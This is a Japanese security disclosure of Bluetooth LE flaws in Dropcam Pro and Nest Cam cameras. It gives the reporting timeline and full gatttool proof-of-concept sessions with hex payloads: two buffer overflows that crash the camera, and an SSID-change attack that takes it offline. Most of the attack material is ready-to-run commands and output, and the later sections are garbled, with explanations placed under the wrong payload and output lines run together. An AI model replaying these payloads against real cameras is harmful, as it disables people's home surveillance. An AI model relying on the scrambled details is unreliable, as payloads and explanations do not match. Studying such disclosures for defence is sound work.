
コンシューマー向けIoTカメラのPoC脆弱性開示。デバイスをオフラインにできるBLEバッファオーバーフローとWiFi切断攻撃を詳述。
影響を受ける: Dropcam Pro、Nest Cam Indoor/Outdoor モデル
影響を受ける最新ビルド: 205-600052
部分的に修正されたビルド: 205-600055
更新 最新のfwバージョン 205-600055 は、Dropcam Pro の WiFi 切断(ディスアソシエーション)の脆弱性を修正していません。指定された WiFi ネットワークが存在しない場合、再関連付けの時間は改善され、現在は約10秒以内に再接続します。ただし、有効な WiFi ネットワークを設定することで、ドロップカムを恒久的にオフラインにすることが依然として可能です。
開示のタイムライン:
2016年10月26日: Google の脆弱性報奨金プログラムのガイドラインに従ってセキュリティバグを報告
2016年10月27日: Google セキュリティチームがレポートの受領と調査中であることを確認
2016年11月1日: Google セキュリティチームが報告された脆弱性を検証し、バグを登録
2016年11月15日: Google の VRP パネルが「Non-integrated acquisitions」として $100 の報奨金を支給
2017年3月17日: 一般公開
Troy Stribling による PoC iOS アプリ :: NestPWN
概要
カメラに SSID パラメータを設定する際に、バッファオーバーフロー状態を引き起こすことが可能です。攻撃者は、カメラの電源が入っている間の任意の時点で Bluetooth の到達範囲内にいる必要があります。Bluetooth は初期設定後も無効にされることはありません。
概念実証
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
詳細
このペイロードは、長さ1バイトの SSID を設定しようとし、16バイトを送信します。
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
結果
クラッシュして動作状態に再起動する
概要
カメラに暗号化パスワードパラメータを設定する際に、バッファオーバーフロー状態を引き起こすことが可能です。攻撃者は、カメラの電源が入っている間の任意の時点で Bluetooth の到達範囲内にいる必要があります。Bluetooth は初期設定後も無効にされることはありません。
概念実証
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
概要
接続先として新しい SSID を供給することで、カメラを WiFi から切断することが可能です。これらのカメラは映像のローカル保存に対応していないため、監視は一時的に無効になります。攻撃者は、カメラの電源が入っている間の任意の時点で Bluetooth の到達範囲内にいる必要があります。Bluetooth は初期設定後も無効にされることはありません。
概念実証
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
詳細
このペイロードは、長さ1バイトの暗号化 WiFi パスワードを設定しようとし、3バイトを送信します。
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
結果
クラッシュして動作状態に再起動する
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> 詳細
このペイロードは、Nest Cam の関連付けられている SSID を変更しようとし、現在の WiFi SSID からの一時的な切断を引き起こします。
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
結果
カメラは現在の WiFi ネットワークから切断し、新しく設定された SSID への関連付けを試みます。WiFi ネットワークが存在しない場合、カメラは約60〜90秒間オフラインになり、その後元の WiFi ネットワークに戻って通常の動作を再開します。ネットワークが存在する場合は、インターネット接続を確認し、新しいネットワークに留まります。